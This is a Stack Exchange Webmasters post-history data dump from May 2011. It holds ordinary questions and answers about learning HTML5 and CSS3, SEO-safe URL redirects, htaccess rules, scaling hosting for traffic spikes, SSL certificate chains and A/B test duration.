  <row Id="33703" PostHistoryTypeId="2" PostId="14388" RevisionGUID="a40effc3-45b0-45bc-9ec0-795be501c89b" CreationDate="2011-05-25T20:27:49.030" UserId="3981" Text="I first learned HTML a long time ago, from the Visual Quickstart guide in 1999, [HTML 4 for the World Wide Web][1]. Though I have a grasp of fundamental concepts of HTML, my knowledge of CSS is woefully bare. As far as learning goes, should I jump straight to learning HTML5 and CSS3? Would learning those technologies be backwards-compatible enough, or would this cause problems because I may be using tags that are not yet supported by a majority of current browsers? And if so, which version of HTML/CSS/XHTML/DHTML would be most useful nowadays?&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.amazon.com/HTML-World-Wide-Web-Fourth/dp/0201354934/ref=sr_1_17?s=books&amp;ie=UTF8&amp;qid=1306354975&amp;sr=1-17" />
  <row Id="33704" PostHistoryTypeId="1" PostId="14388" RevisionGUID="a40effc3-45b0-45bc-9ec0-795be501c89b" CreationDate="2011-05-25T20:27:49.030" UserId="3981" Text="Should I jump straight into HTML 5 and CSS 3 from minimum knowledge of HTML?" />
  <row Id="33705" PostHistoryTypeId="3" PostId="14388" RevisionGUID="a40effc3-45b0-45bc-9ec0-795be501c89b" CreationDate="2011-05-25T20:27:49.030" UserId="3981" Text="&lt;html&gt;&lt;css&gt;&lt;html5&gt;" />
  <row Id="33706" PostHistoryTypeId="25" PostId="14385" RevisionGUID="aa4ed002-bc05-4eb1-9691-97f3348e1e99" CreationDate="2011-05-25T21:12:56.877" Comment="http://twitter.com/#!/StackWebmasters/status/73496797393334272" />
  <row Id="33707" PostHistoryTypeId="2" PostId="14389" RevisionGUID="1e519df4-dcdc-4277-a0e6-1c3d469c296b" CreationDate="2011-05-25T22:20:04.870" UserId="7628" Text="This is really a general question that gets asked all over the place.&#xD;&#xA;&#xD;&#xA;Should I learn [new version] of [technology] now, or learn [old version] first?&#xD;&#xA;&#xD;&#xA;The answer is always the same. So long as you're dealing with a technology that has a healthy environment and user base around it (depending on the technology, it may only require 100 users on the whole planet, as long as they're passionate about it), then the starting point that you choose is irrelevant.&#xD;&#xA;&#xD;&#xA;Really, no matter what you learn, you'll always need to know a little about the newer, and a little of the older stuff. So, pick a starting point (HTML5), and just go with it. You'll learn what you need to know along the way, so don't sweat the small stuff.&#xD;&#xA;&#xD;&#xA;... and if your next question is the 2nd most asked question, something along the lines of, &quot;Ok, but I'm going to build 'X' project - NOW should I learn [new version] of [technology] first?&quot; then trust me, the answer is always the same. Just start. You'll figure it out.&#xD;&#xA;&#xD;&#xA;If by asking the question you're trying to &quot;avoid the problems I don't know I'll have&quot;, well then you're trying to predict the future. Last I checked, no one has figured that one out yet, so you're best to just get going.&#xD;&#xA;&#xD;&#xA;Don't worry, it's not like you're going to fall screaming into a pit of vipers or anything. :)" />
  <row Id="33708" PostHistoryTypeId="17" PostId="14390" RevisionGUID="7fcb1ba2-b662-4f70-be79-b08d02f29907" CreationDate="2011-05-25T22:54:16.163" UserId="-1" Comment="from http://stackoverflow.com/questions/6131842/is-seo-effected-when-url-changes-from-php-to-not-including-php" Text="" />
  <row Id="33709" PostHistoryTypeId="17" PostId="14391" RevisionGUID="c68b8b06-8ae0-4cfa-887d-bc93d00542b9" CreationDate="2011-05-25T22:54:16.163" UserId="-1" Comment="from http://stackoverflow.com/questions/6131842/is-seo-effected-when-url-changes-from-php-to-not-including-php" Text="" />
  <row Id="33710" PostHistoryTypeId="2" PostId="14391" RevisionGUID="83101904-b48d-4e6e-ae36-408a67f13f32" CreationDate="2011-05-25T22:47:58.177" UserId="9542" UserDisplayName="Cyclone" Text="Do a .htaccess 301 redirect:&#xD;&#xA;&#xD;&#xA;    redirect 301 /about.php http://www.example.com/about&#xD;&#xA;&#xD;&#xA;This'll tell browsers to update their bookmarks, inform search engines of changes, and just generally get things moving to the new url." />
  <row Id="33711" PostHistoryTypeId="2" PostId="14390" RevisionGUID="da87c33d-3633-41c3-b1c8-a04819a9ba6c" CreationDate="2011-05-25T22:45:02.643" UserDisplayName="Cegusa" Text="Is SEO effected when URL changes from .php to not including .php? For example, if you change a URL from http://www.example.com/about.php to http://www.example.com/about, do you lose the earlier SEO impact?&#xD;&#xA;&#xD;&#xA;I am replacing an older website, and want to keep the URL the same for SEO purposes. The problem is that the older URL includes .php at the end. &#xD;&#xA;&#xD;&#xA;I'm replacing the website with a new wordpress site, and when I add the (.php) to the URL, the formatting is disrupted. I can create a URL that is the same, but I can't add the .php at the end. &#xD;&#xA;&#xD;&#xA;Does anyone know how I could add .php to the URL without having the format be interrupted?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="33712" PostHistoryTypeId="1" PostId="14390" RevisionGUID="da87c33d-3633-41c3-b1c8-a04819a9ba6c" CreationDate="2011-05-25T22:45:02.643" UserDisplayName="Cegusa" Text="Is SEO effected when URL changes from .php to not including .php" />
  <row Id="33713" PostHistoryTypeId="3" PostId="14390" RevisionGUID="da87c33d-3633-41c3-b1c8-a04819a9ba6c" CreationDate="2011-05-25T22:45:02.643" UserDisplayName="Cegusa" Text="&lt;php&gt;&lt;url&gt;&lt;seo&gt;" />
  <row Id="33714" PostHistoryTypeId="5" PostId="14390" RevisionGUID="c3bbc668-914f-41e3-b0ac-50dccabf603f" CreationDate="2011-05-25T22:58:22.243" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [SEO - Changing file extension](http://webmasters.stackexchange.com/questions/11525/seo-changing-file-extension)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;Hi,&#xD;&#xA; &#xD;&#xA;Is SEO effected when URL changes from .php to not including .php? For example, if you change a URL from http://www.example.com/about.php to http://www.example.com/about, do you lose the earlier SEO impact?&#xD;&#xA;&#xD;&#xA;I am replacing an older website, and want to keep the URL the same for SEO purposes. The problem is that the older URL includes .php at the end. &#xD;&#xA;&#xD;&#xA;I'm replacing the website with a new wordpress site, and when I add the (.php) to the URL, the formatting is disrupted. I can create a URL that is the same, but I can't add the .php at the end. &#xD;&#xA;&#xD;&#xA;Does anyone know how I could add .php to the URL without having the format be interrupted?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="33715" PostHistoryTypeId="10" PostId="14390" RevisionGUID="391d9866-d7e4-4e2a-9345-4bd03957e2d5" CreationDate="2011-05-25T22:58:21.603" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="33719" PostHistoryTypeId="5" PostId="14240" RevisionGUID="6d26bf98-0c71-40a7-9b14-6d4d2b47aef2" CreationDate="2011-05-25T23:58:16.410" UserId="5315" Comment="Removed &quot;hello&quot; as per general StackExchange philosophy; applied formatting" Text="I am using the following set of htaccess code to not redirect my site(http://yy.com) directly in the url. I have another site(X) when the user logged in this site then he will be directed to the site y and also allowed to login their wp-admin panel. The current process is working fine as its way, the user is not allowed to redirected directly to the site(yy). The problem is when they tried to login in the admin side http://yy.com/wp-admin it is redirecting them to there i really don't need to go there also.&#xD;&#xA;&#xD;&#xA;My code:&#xD;&#xA;&#xD;&#xA;    &lt;IfModule mod_rewrite.c&gt;                                                            &#xD;&#xA;    RewriteEngine On                    &#xD;&#xA;    RewriteCond %{HTTP_REFERER} !(.*)zzz.com(.*)                  &#xD;&#xA;    RewriteCond %{HTTP_REFERER} !(.*)yyy.com(.*)           &#xD;&#xA;    RewriteCond %{REQUEST_URI}  !.*(wp\-login|wp\-admin|wp\-content|wp\-includes|wp          \-trackback).* [NC]                &#xD;&#xA;    RewriteRule ^(.*)$ - [F] &#xD;&#xA;    &lt;/IfModule&gt;" />
  <row Id="33720" PostHistoryTypeId="24" PostId="14240" RevisionGUID="6d26bf98-0c71-40a7-9b14-6d4d2b47aef2" CreationDate="2011-05-25T23:58:16.410" Comment="Proposed by 5315 approved by 1253 edit id of 351" />
  <row Id="33721" PostHistoryTypeId="25" PostId="14388" RevisionGUID="251ed5b0-6423-4e5e-ba4c-d53c95453562" CreationDate="2011-05-26T00:12:57.803" Comment="http://twitter.com/#!/StackWebmasters/status/73542099160678400" />
  <row Id="33722" PostHistoryTypeId="2" PostId="14393" RevisionGUID="a9bbb288-920d-4a80-a594-30a65803ba3a" CreationDate="2011-05-26T01:03:03.247" UserId="7818" Text="I have a site with a normal image header, a menu,&#xD;&#xA;then below that an adsense leaderboard, and then the content below that.&#xD;&#xA;&#xD;&#xA;The problem is that google instant previews, capture the adsense text and hightlights it (puts it in a box) at google instant previews of my pages.&#xD;&#xA;I really don't like the ad text be emphasized as the most important of my previews.&#xD;&#xA;Maybe google preview bot is doing that because adsense text is on the top.&#xD;&#xA;&#xD;&#xA;How I could either make instant preview ignore adsense text, or somehow reposition the adsense div with css, so that even if it's loaded after the content to be able to be positioned on the top of it?&#xD;&#xA;&#xD;&#xA;I use 960 grid" />
  <row Id="33723" PostHistoryTypeId="1" PostId="14393" RevisionGUID="a9bbb288-920d-4a80-a594-30a65803ba3a" CreationDate="2011-05-26T01:03:03.247" UserId="7818" Text="Google instant previews and adsense" />
  <row Id="33724" PostHistoryTypeId="3" PostId="14393" RevisionGUID="a9bbb288-920d-4a80-a594-30a65803ba3a" CreationDate="2011-05-26T01:03:03.247" UserId="7818" Text="&lt;google-adsense&gt;&lt;google-search&gt;" />
  <row Id="33725" PostHistoryTypeId="2" PostId="14394" RevisionGUID="26550f2d-bbe2-4ed3-b3b4-2c6a41290142" CreationDate="2011-05-26T02:12:20.287" UserId="4424" Text="A web application is hypothetically featured on Digg or Reddit, and the server load immediately spikes up by a couple of orders of magnitude. What kind of hosting solution will allow the website to survive through a large flux like this? (and not cost a fortune)&#xD;&#xA;&#xD;&#xA;Hosting through AWS seems to be in fashion these days. However, many complain about the cost. Will a VPS hosting solution also be able to scale-up in a timely fashion, while costing less? Alternatives? Thanks." />
  <row Id="33726" PostHistoryTypeId="1" PostId="14394" RevisionGUID="26550f2d-bbe2-4ed3-b3b4-2c6a41290142" CreationDate="2011-05-26T02:12:20.287" UserId="4424" Text="VPS hosting vs. usage spike" />
  <row Id="33727" PostHistoryTypeId="3" PostId="14394" RevisionGUID="26550f2d-bbe2-4ed3-b3b4-2c6a41290142" CreationDate="2011-05-26T02:12:20.287" UserId="4424" Text="&lt;web-hosting&gt;&lt;vps&gt;&lt;cloud-hosting&gt;" />
  <row Id="33728" PostHistoryTypeId="2" PostId="14395" RevisionGUID="a5cbdb2d-dd37-4b5e-8f28-c90410358117" CreationDate="2011-05-26T02:51:36.227" UserId="7628" Text="This really depends heavily on how your frontend servers distribute load. If it's not designed to have extra capacity added to it at the flip of a switch (or maybe better yet, automatically when a sustained spike is detected), then planning for this sort of thing is tough.&#xD;&#xA;&#xD;&#xA;If you design your load balancing in such a way that you can flip on extra servers in a matter of minutes (e.g. via AWS), then you'll only pay for the extra capacity while you're using it. You'll have to do some pricing research with some kind of scenario to see if the pricing works out.&#xD;&#xA;&#xD;&#xA;**HOWEVER** if you have a sudden traffic spike due to popularity, there are worse things in the world than going down for a brief period, unless you're running life support systems or something.&#xD;&#xA;&#xD;&#xA;If your app/startup/project is especially cost sensitive, then I'd suggest building what you need, and keeping it at that. If it explodes in popularity and you have to spend a couple of days adding capacity, you'd call that a good problem to have.&#xD;&#xA;&#xD;&#xA;Furthermore, planning too far ahead for capacity you don't yet need will cause you to spend money now that you could spend on more critical resources.&#xD;&#xA;&#xD;&#xA;As just one example, the first StackExchange Site (StackOverflow) ran on a single server until maybe last year, I believe. Jeff Atwood talks about it in his blog, and they were getting millions of pageviews/day before they added additional infrastructure to scale out for the StackExchange network." />
  <row Id="33729" PostHistoryTypeId="25" PostId="14394" RevisionGUID="9b0dedd6-6dc0-4b92-93e3-0acf89d840be" CreationDate="2011-05-26T03:12:58.637" Comment="http://twitter.com/#!/StackWebmasters/status/73587400114319360" />
  <row Id="33730" PostHistoryTypeId="2" PostId="14396" RevisionGUID="aaa1a3e2-7925-4e48-b605-ec5ad04eca5e" CreationDate="2011-05-26T03:30:59.163" UserId="93" Text="The point of installing the certificate files provided aside from the one for your server is so that the web server can offer them up to prove the chain of the certificate the server is using.  This still requires that the browser trusts the root certificate for the signing authority.  In nginx, the SSL Certificate [directive][1] can send a combined file of the servers certificate as well as others, in this case the chain certificates.  You'd need to combine the certificates into a single file, which I'm not sure how to do.&#xD;&#xA;&#xD;&#xA;There are some concerns about the number of root certificates that systems are trusting these days, so it is possible that Firefox 4 has removed a bunch of certificates from the default set, and thus that could be why only that browser gives you an error.  If the error message is about an untrusted authority, then that would indicate this problem.  There isn't much you can do about this except buy a certificate from an authority that is trusted by newer browsers.  For more information about the crazy amount of certificates systems trust by default and the issues surrounding that, check out this [EFF website][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wiki.nginx.org/HttpSslModule#ssl_certificate&#xD;&#xA;  [2]: https://www.eff.org/observatory" />
  <row Id="33731" PostHistoryTypeId="17" PostId="14397" RevisionGUID="160655e0-9d4e-497d-b08e-5defa096e6dd" CreationDate="2011-05-26T05:14:27.353" UserId="-1" Comment="from http://superuser.com/questions/288740/website-image-link-url-checker" Text="" />
  <row Id="33732" PostHistoryTypeId="17" PostId="14398" RevisionGUID="a6b489a8-229b-4536-90df-525130e34226" CreationDate="2011-05-26T05:14:27.353" UserId="-1" Comment="from http://superuser.com/questions/288740/website-image-link-url-checker" Text="" />
  <row Id="33733" PostHistoryTypeId="2" PostId="14398" RevisionGUID="aa9acf84-3c8d-4755-961a-691322d645ae" CreationDate="2011-05-26T04:10:24.887" UserId="9725" UserDisplayName="jcrawfordor" Text="The [W3C Link Checker][1] will follow all the links on a website and tell you if any lead to a 404 or if any lead to redirects (because you could make the site a bit faster by linking to the redirect destination instead). This should cover all of your link verification needs.&#xD;&#xA;&#xD;&#xA; [1]: http://validator.w3.org/checklink&#xD;&#xA;&#xD;&#xA;As far as image size, I can't think of much other than using `wget` to download your photos pages and then using `du` to find out what the biggest files are." />
  <row Id="33734" PostHistoryTypeId="2" PostId="14397" RevisionGUID="ef44ad45-473a-4398-b591-8606a16f5fcc" CreationDate="2011-05-26T02:52:36.213" UserDisplayName="Jusfeel" Text="Is there any sufficient software or tools to use to check website on below aspects&#xD;&#xA;&#xD;&#xA;1. Images sizes&#xD;&#xA;   - Sometimes some images were uploaded very big without knowing, this causes bandwidth and speed &lt;p&gt;&lt;/p&gt;&#xD;&#xA;&#xD;&#xA;2. Broken links&#xD;&#xA;   - Bad for user experiences&lt;p&gt;&lt;/p&gt;&#xD;&#xA;&#xD;&#xA;3. Broken url&#xD;&#xA;    - Bad for user as well&#xD;&#xA;&#xD;&#xA;I know a software called &quot;Link Validate&quot; or something. Anything else?" />
  <row Id="33735" PostHistoryTypeId="1" PostId="14397" RevisionGUID="ef44ad45-473a-4398-b591-8606a16f5fcc" CreationDate="2011-05-26T02:52:36.213" UserDisplayName="Jusfeel" Text="Website image/link/url checker" />
  <row Id="33736" PostHistoryTypeId="3" PostId="14397" RevisionGUID="ef44ad45-473a-4398-b591-8606a16f5fcc" CreationDate="2011-05-26T02:52:36.213" UserDisplayName="Jusfeel" Text="&lt;websites&gt;&lt;hyperlink&gt;" />
  <row Id="33737" PostHistoryTypeId="2" PostId="14399" RevisionGUID="c2d797fa-79ad-4abe-9146-7ce146657508" CreationDate="2011-05-26T05:18:13.990" UserId="5026" Text="I've removed the button, and replaced it with AddThis.com code." />
  <row Id="33738" PostHistoryTypeId="2" PostId="14400" RevisionGUID="f703cd79-237f-4080-a820-ff30eefb503c" CreationDate="2011-05-26T05:37:55.297" UserId="7820" Text="There is nothing too fundamentally different from HTML4 to HTML5 or CSS2 to CSS3 besides some added and deprecated features. HTML is HTML. CSS is CSS. So in this case, learn the latest." />
  <row Id="33739" PostHistoryTypeId="5" PostId="14400" RevisionGUID="a124754c-a00e-4564-b483-f514bbdf1e2b" CreationDate="2011-05-26T05:42:58.947" UserId="7820" Comment="added 218 characters in body" Text="There is nothing too fundamentally different from HTML4 to HTML5 or CSS2 to CSS3 besides some added and deprecated features. HTML is HTML. CSS is CSS. So in this case, learn the latest.&#xD;&#xA;&#xD;&#xA;Learning HTML5 will surely guide you in the better direction, as you'll most likely find what might and what might not work in certain browsers better then looking at older code posted for, say, HTML2 or something." />
  <row Id="33740" PostHistoryTypeId="25" PostId="14356" RevisionGUID="0f650a2a-27ad-44fe-b90d-10da7755bac9" CreationDate="2011-05-26T06:12:59.603" Comment="http://twitter.com/#!/StackWebmasters/status/73632704402440192" />
  <row Id="33742" PostHistoryTypeId="2" PostId="14402" RevisionGUID="9dbc3d12-d8b5-44d5-b18f-976d18772e72" CreationDate="2011-05-26T07:19:53.847" UserId="6080" Text="How do you define a good Webmaster ?&#xD;&#xA;&#xD;&#xA;Because there are a lot of people can say &quot;I'm a webmaster&quot;. And i say them &quot;Yes you can use a lot tools, software etc. but this doesn't make you a Webmaster&quot;..&#xD;&#xA;&#xD;&#xA;What is the features of a Good Webmaster? Is it so hard to be?&#xD;&#xA;&#xD;&#xA;What do you think about that?" />
  <row Id="33743" PostHistoryTypeId="1" PostId="14402" RevisionGUID="9dbc3d12-d8b5-44d5-b18f-976d18772e72" CreationDate="2011-05-26T07:19:53.847" UserId="6080" Text="Being a Good Webmaster is so hard?" />
  <row Id="33744" PostHistoryTypeId="3" PostId="14402" RevisionGUID="9dbc3d12-d8b5-44d5-b18f-976d18772e72" CreationDate="2011-05-26T07:19:53.847" UserId="6080" Text="&lt;business&gt;&lt;features&gt;" />
  <row Id="33745" PostHistoryTypeId="2" PostId="14403" RevisionGUID="a2cc582a-379e-49f5-af84-9d388c6da6e2" CreationDate="2011-05-26T07:20:20.063" UserId="5258" Text="When running A/B tests with Google Website Optimizer, Google tells you when a variation has &quot;won&quot;. However, sometimes, the test runs for a long time and still there is no winner.&#xD;&#xA;&#xD;&#xA;When should one decide that there is no significant difference between two variations and stop the test?" />
  <row Id="33746" PostHistoryTypeId="1" PostId="14403" RevisionGUID="a2cc582a-379e-49f5-af84-9d388c6da6e2" CreationDate="2011-05-26T07:20:20.063" UserId="5258" Text="If you run a split test, how long do you let it run before you conclude it is inconclusive?" />
  <row Id="33747" PostHistoryTypeId="3" PostId="14403" RevisionGUID="a2cc582a-379e-49f5-af84-9d388c6da6e2" CreationDate="2011-05-26T07:20:20.063" UserId="5258" Text="&lt;a-b-testing&gt;&lt;google-website-optimizer&gt;" />
  <row Id="33748" PostHistoryTypeId="2" PostId="14404" RevisionGUID="9d20e3b7-437d-472e-a834-3d13e52178d3" CreationDate="2011-05-26T08:05:12.040" UserId="7801" Text="I thought [this][1] provided a really comprehensive walkthrough and explained the in's and out's of the process.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.smashingmagazine.com/2011/05/25/introduction-to-dns-explaining-the-dreaded-dns-delay/" />
  <row Id="33749" PostHistoryTypeId="2" PostId="14405" RevisionGUID="47209c36-67ed-4f68-8351-6dd4a9021b03" CreationDate="2011-05-26T08:17:24.950" UserId="7198" Text="**Optimise your application before optimising your server infrastructure**  &#xD;&#xA;It's tempting to throw more servers at traffic spikes or overpay for resources that you may never use &quot;just in case&quot;. A better solution is to optimise your application to withstand spikes before they arrive. Specifically:&#xD;&#xA;&#xD;&#xA;**Cache dynamic code**  &#xD;&#xA;Your application should serve static html files instead of dynamically generated ones using a caching system. WordPress offers plugins for this (e.g. &lt;a href=&quot;http://wordpress.org/extend/plugins/w3-total-cache/'&gt;W3 Total Cache&lt;/a&gt;) but it's not too tricky to roll your own solution if your application is home grown. (Search for &quot;[programming language] static cache&quot;.)&#xD;&#xA;&#xD;&#xA;**Offload static assets**  &#xD;&#xA;Serve images, CSS, and JavaScript files from somewhere else. Amazon's [Cloudfront](http://aws.amazon.com/cloudfront/) and [S3](http://aws.amazon.com/s3/) packages are popular options, but I favour [Cloudflare,](http://www.cloudflare.com/overview.html) which offers automatic caching of static assets and a list of other CPU and bandwidth-saving &lt;a href=&quot;http://www.cloudflare.com/plans.html&quot;&gt;benefits&lt;/a&gt; for $20/month.&#xD;&#xA;&#xD;&#xA;**Use Google's Page Speed Online tool**  &#xD;&#xA;Optimise your site further with Google's &lt;a href=&quot;http://pagespeed.googlelabs.com/&quot;&gt;Page Speed Online&lt;/a&gt; tool. It will present suggestions for things you can do to improve page speed (and reduce load) without touching your server infrastructure.&#xD;&#xA;&#xD;&#xA;**When you've done all that**  &#xD;&#xA;Only then is it worth looking at hardware and environment optimisation. Some options worth considering:  &#xD;&#xA;&#xD;&#xA; 1. VPS solutions that provide 'instant scaling', such as &lt;a href=&quot;http://vps.net/product/cloud-servers&quot;&gt;VPS.net.&lt;/a&gt;&#xD;&#xA; 2. Application hosting solutions such as &lt;a href=&quot;http://www.duostack.com/technology&quot;&gt;Duostack,&lt;/a&gt; &lt;a href=&quot;https://phpfog.com/&quot;&gt;PHP Fog,&lt;/a&gt; and &lt;a href=&quot;http://orchestra.io/&quot;&gt;Orchestra.io,&lt;/a&gt; which optimise and load balance the infrastructure for you.&#xD;&#xA; 3. Optimised environments such as &lt;a href=&quot;http://interfacelab.com/nginx-php-fpm-apc-awesome/&quot;&gt;Nginx with PHP-FPM&lt;/a&gt;, or &lt;a href=&quot;http://rubyenterpriseedition.com/&quot;&gt;Ruby Enterprise Edition.&lt;/a&gt;&#xD;&#xA; 4. If you're just hosting a blog, consider a hosted platform like &lt;a href=&quot;http://wordpress.com&quot;&gt;WordPress.com&lt;/a&gt; or &lt;a href=&quot;http://tumblr.com&quot;&gt;tumblr.&lt;/a&gt; These tend to withstand traffic surges better than default home-grown setups (and they're cheaper).&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;**If all fails...**  &#xD;&#xA;Consider creating a static page to outline your service and collect email addresses. Put this up in place of the application itself should your site go down during a traffic spike. I use &lt;a href=&quot;http://wufoo.com&quot;&gt;Wufoo&lt;/a&gt; or &lt;a href=&quot;http://mailchimp.com&quot;&gt;MailChimp&lt;/a&gt; for this.&#xD;&#xA;&#xD;&#xA;If you host the emergency 'whoops! we got dugg!' form on a separate (cheap) shared hosting account, you can use &lt;a href=&quot;http://www.dnsmadeeasy.com/enterprisedns/dnsfailover.html&quot;&gt;DNS failover&lt;/a&gt; to automatically redirect traffic to the static form if your main application goes down. That way, if Digg sends you 100,000 visitors and your app chokes, at least you'll have built up your mailing list and piqued interest for a proportion of those visitors. " />
  <row Id="33750" PostHistoryTypeId="2" PostId="14406" RevisionGUID="8588bea7-8db7-4c05-8305-a154228cdbe5" CreationDate="2011-05-26T08:27:55.337" UserId="7198" Text="The Visual Website Optimizer blog has an &lt;a href=&quot;http://visualwebsiteoptimizer.com/split-testing-blog/ab-test-duration-calculator/&quot;&gt;A/B test duration calculator&lt;/a&gt; designed to answer your question. It's published as an Excel spreadsheet, but don't let that put you off.&#xD;&#xA;&#xD;&#xA;Enter your original conversion rate, the difference you're hoping to detect, the number of variations you're testing, and your average daily traffic, and it spits out the number of days you should wait before stopping the test." />
  <row Id="33751" PostHistoryTypeId="2" PostId="14407" RevisionGUID="7adfed62-31b0-42f4-a9a9-daebbd087fa4" CreationDate="2011-05-26T08:49:42.440" UserId="7822" Text="The definition of webmaster has changed quite a bit in the last 15 or so years. It used to be somebody that runs a website, knows a bit of html etc.&#xD;&#xA;&#xD;&#xA;However now I think the definition (although it is mainly opinions, not set in stone) consists of:&#xD;&#xA;&#xD;&#xA; - In charge of a website's daily progress. They may have a boss and they may have their own team (unlike before where generally less people would work on a website together)&#xD;&#xA; - Knows and uses tools and languages such as FTP, HTML, CSS, JS, CMS software etc.&#xD;&#xA; - Delegates the work around the team&#xD;&#xA; - The person who is contacted in regards to the website&#xD;&#xA;&#xD;&#xA;Some people even argue that webmaster is a defunct position, however it is still on many job titles.&#xD;&#xA;&#xD;&#xA;Basically, a webmaster is a manager with skills based on website development, design and content management. They do not need to be a master at any one of these, more of a &quot;Jack Of All Trades Master Of Management&quot; kind of thing.&#xD;&#xA;&#xD;&#xA;I hope that helps, it was my first answer on this site!&#xD;&#xA;&#xD;&#xA;Shane&#xD;&#xA;" />
  <row Id="33752" PostHistoryTypeId="2" PostId="14408" RevisionGUID="23d3e037-07f0-4cae-b94e-076d2832e9a5" CreationDate="2011-05-26T08:54:59.837" UserId="4121" Text="Following solved the problem :&#xD;&#xA;&#xD;&#xA;&lt;meta http-equiv=&quot;X-UA-Compatible&quot; content=&quot;IE=8; IE=7; IE=5&quot;/&gt;&#xD;&#xA;&#xD;&#xA;leaving IE9 out got the site to be displayed as it was seen before IE9. [Used this MS Refrence][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://msdn.microsoft.com/en-us/library/cc288325%28v=vs.85%29.aspx" />
  <row Id="33753" PostHistoryTypeId="2" PostId="14409" RevisionGUID="93f80001-2b2a-4458-9ce0-a0c21cea9d53" CreationDate="2011-05-26T09:02:40.083" UserId="7822" Text="To be honest, the version numbers are more buzzwords than anything. HTML5 is just the next step of HTML, it has more tags and is based more on creating the semantic web however it is just HTML. Same goes for CSS3, it is the same thing... just with more properties!&#xD;&#xA;&#xD;&#xA;There really is no reason not to use HTML5, just put the doctype `&lt;!DOCTYPE html&gt;` at the top (which is so much easier than remember the mess of all previous doctypes) and use it as you need to. Try to keep all of your content semantic. Using HTML5 does not mean jumping head first into the world of Canvas, which some people seem to think... it is just using modern standards to do the same old thing you always did, just in a better more structured way." />
  <row Id="33754" PostHistoryTypeId="25" PostId="14403" RevisionGUID="339008d4-bbc2-481c-ab20-7279b1f94255" CreationDate="2011-05-26T09:13:00.153" Comment="http://twitter.com/#!/StackWebmasters/status/73678004554964992" />
  <row Id="33755" PostHistoryTypeId="2" PostId="14410" RevisionGUID="f84ed38a-13c9-4cf8-8d3b-8f04f4311a87" CreationDate="2011-05-26T09:13:29.290" UserId="7822" Text="Although I have not used Google Sites, I believe the problem you are having is that it does not let you add custom CSS?&#xD;&#xA;&#xD;&#xA;Having checked Google and finding a &quot;[CSS Workaround][1]&quot; I see that while you cannot add custom CSS, you can add custom HTML. Although most people prefer using CSS for styling, you can still add CSS to the attributes in HTML.&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;    &lt;a href=&quot;#&quot;onmouseover=&quot;this.style.color='#ffffff';&quot;    onmouseout=&quot;this.style.color='#000000';&quot; style=&quot;color:#000000;&quot;&gt;Link&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;While I have not tested this in Google Sites, I am 90% sure it will work. Unless they do not allow inline Javascript either, in which case I am sorry and there is nothing you can do.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/forum/p/sites/thread?tid=6f5423cf1633135d&amp;hl=en" />
  <row Id="33756" PostHistoryTypeId="2" PostId="14411" RevisionGUID="8d4229da-cea1-4180-9b96-df0b14041bb7" CreationDate="2011-05-26T09:20:13.167" UserId="7822" Text="I think the problem is probably with parts further on in your code. May I suggest clearing the floats:&#xD;&#xA;&#xD;&#xA;Html:&#xD;&#xA;&#xD;&#xA;    &lt;div class=&quot;clear&quot;&gt;&lt;/div&gt;&#xD;&#xA;&#xD;&#xA;CSS:&#xD;&#xA;&#xD;&#xA;    .clear {&#xD;&#xA;         clear: both;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;The code you have posted would work fine, but I expect you have more divs or containers or something somewhere which is messing it up." />
  <row Id="33757" PostHistoryTypeId="2" PostId="14412" RevisionGUID="29972e35-833c-4647-a3a8-af054326dab0" CreationDate="2011-05-26T09:43:14.473" UserId="7823" Text="I have some problem here as I want to build a website which able to communicate with fedora server to create account. &#xD;&#xA;&lt;br/&gt;The website will be something like this&#xD;&#xA;&lt;ul&gt;&#xD;&#xA;&lt;li&gt;user will access an IP to access the website&lt;/li&gt;&#xD;&#xA;&lt;li&gt;website is running in window web browser eg. IE, mozila&lt;/li&gt;&#xD;&#xA;&lt;li&gt;the website will allow user to key in their own ID, username and password to create their user account&lt;/li&gt;&#xD;&#xA;&lt;/ul&gt;&#xD;&#xA;&lt;br/&gt;&#xD;&#xA;So, what I think will be is there any web language to communicate with linux/ run linux command  eg. mkdir, useradd???&#xD;&#xA;&#xD;&#xA;The webpage need to written in what web language in order to support the requirement??Any link for reference is appreciated&#xD;&#xA;&#xD;&#xA;Thanks in advance." />
  <row Id="33758" PostHistoryTypeId="1" PostId="14412" RevisionGUID="29972e35-833c-4647-a3a8-af054326dab0" CreationDate="2011-05-26T09:43:14.473" UserId="7823" Text="embed linux console in website/using web language to communicate with fedora/linux server" />
  <row Id="33759" PostHistoryTypeId="3" PostId="14412" RevisionGUID="29972e35-833c-4647-a3a8-af054326dab0" CreationDate="2011-05-26T09:43:14.473" UserId="7823" Text="&lt;php&gt;&lt;linux&gt;&lt;c#&gt;" />
  <row Id="33760" PostHistoryTypeId="2" PostId="14413" RevisionGUID="a3423e9c-5d97-455a-ab8f-f2cc9ad2e72e" CreationDate="2011-05-26T09:48:12.053" UserId="7198" Text="**Yes. You should learn and use HTML5 and CSS3 today.**&#xD;&#xA;&#xD;&#xA;If you wait until HTML5 and CSS3 are 'officially supported' before learning it, &lt;a href=&quot;http://www.techrepublic.com/blog/programming-and-development/html-5-editor-ian-hickson-discusses-features-pain-points-adoption-rate-and-more/718&quot;&gt;you will be waiting until 2022,&lt;/a&gt; which is the year that Ian Hickson, the editor of the HTML5 specification, expects to see HTML5 put forward as an 'official recommendation' by the &lt;a href=&quot;http://en.wikipedia.org/wiki/World_Wide_Web_Consortium&quot;&gt;W3C.&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;The fact that HTML5 is not yet an official recommendation should definitely not stop you using it. It just means that the people who decide how the new features are implemented and tested haven't quite finished arguing about it 